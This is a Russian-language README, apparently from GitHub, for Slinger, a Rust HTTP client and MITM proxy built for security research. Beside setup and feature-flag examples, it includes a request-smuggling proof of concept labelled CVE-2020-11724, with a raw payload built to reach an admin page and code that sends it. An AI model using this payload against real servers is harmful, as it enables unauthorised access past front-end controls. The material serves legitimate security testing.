
HTTP-клиент, специально разработанный для исследователей безопасности

Slinger — это рабочее пространство, включающее:
Основная библиотека HTTP-клиента для Rust, созданная для хакеров.
Прокси-сервер типа «Man-in-the-Middle» (MITM) с прозрачным перехватом HTTPS-трафика, аналогичный Burp Suite.
(наверх)
В этом примере включены некоторые опциональные возможности, поэтому ваш Cargo.toml может выглядеть так:
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }
А затем код:
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let resp = slinger::get("https://httpbin.org/get").await?;
println!("{:?}", resp.text());
Ok(())
}
Добавьте в ваш Cargo.toml:
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }
Пример кода:
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let config = MitmConfig::default();
let proxy = MitmProxy::new(config).await?;
// Add logging interceptor
let handler = proxy.interceptor_handler();
let mut h = handler.write().await;
h.add_request_interceptor(Arc::new(Interceptor::logging()));
drop(h);
proxy.start("127.0.0.1:8080").await?;
Ok(())
}
Подробнее об использовании MITM-прокси см. slinger-mitm/README.md.
Slinger поддерживает следующие опциональные возможности:
tls — базовая поддержка TLS (включает типы и интерфейсы TLS без конкретного бэкенда)rustls — поддержка HTTPS через Rustls (требует tls, реализация на чистом Rust)http2 — поддержка протокола HTTP/2 (требует бэкенда TLS)cookie — поддержка обработки cookiecharset — поддержка кодировок символовserde — поддержка сериализации/десериализацииgzip — поддержка сжатия Gzipschema — поддержка JSON SchemaДля использования TLS необходимо:
tlsrustls ИЛИ предоставить собственный TLS-коннекторПримеры комбинаций возможностей:
# Использование бэкенда rustls
slinger = { version = "0.2.8", features = ["tls", "rustls"] }
# Использование собственного бэкенда TLS (требуется реализация CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }
Если вы хотите использовать native-tls, OpenSSL или другие TLS-библиотеки, вы можете реализовать собственный TLS-коннектор. Полный пример интеграции native-tls см. в native_tls_example.rs.
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};
/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
// let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
let client = ClientBuilder::default().build().unwrap();
let mut raw = Vec::new();
// replace \n to \r\n
for line in RAW.lines() {
match line {
Ok(l) => {
raw.extend(l.as_bytes());
raw.extend(b"\r\n")
}
Err(err) => {
println!("{:?}", err);
}
}
}
let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
println!("{:?}", record);
Ok(())
}
Больше примеров можно найти в example
(наверх)
Вклад — это то, что делает open source сообщество таким замечательным местом для обучения, вдохновения и творчества. Любой ваш вклад очень ценен.
Если у вас есть предложение, которое может улучшить проект, сделайте форк репозитория и создайте pull request. Вы также можете просто открыть issue с тегом "enhancement". Не забудьте поставить проекту звезду! Ещё раз спасибо!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)(наверх)
Распространяется под лицензией GPL-3.0-only. См. LICENSE для получения дополнительной информации.
(наверх)
Ваше имя — @Kali_Team — [email protected]
Ссылка на проект: https://github.com/emo-crab/slinger
(наверх)
(наверх)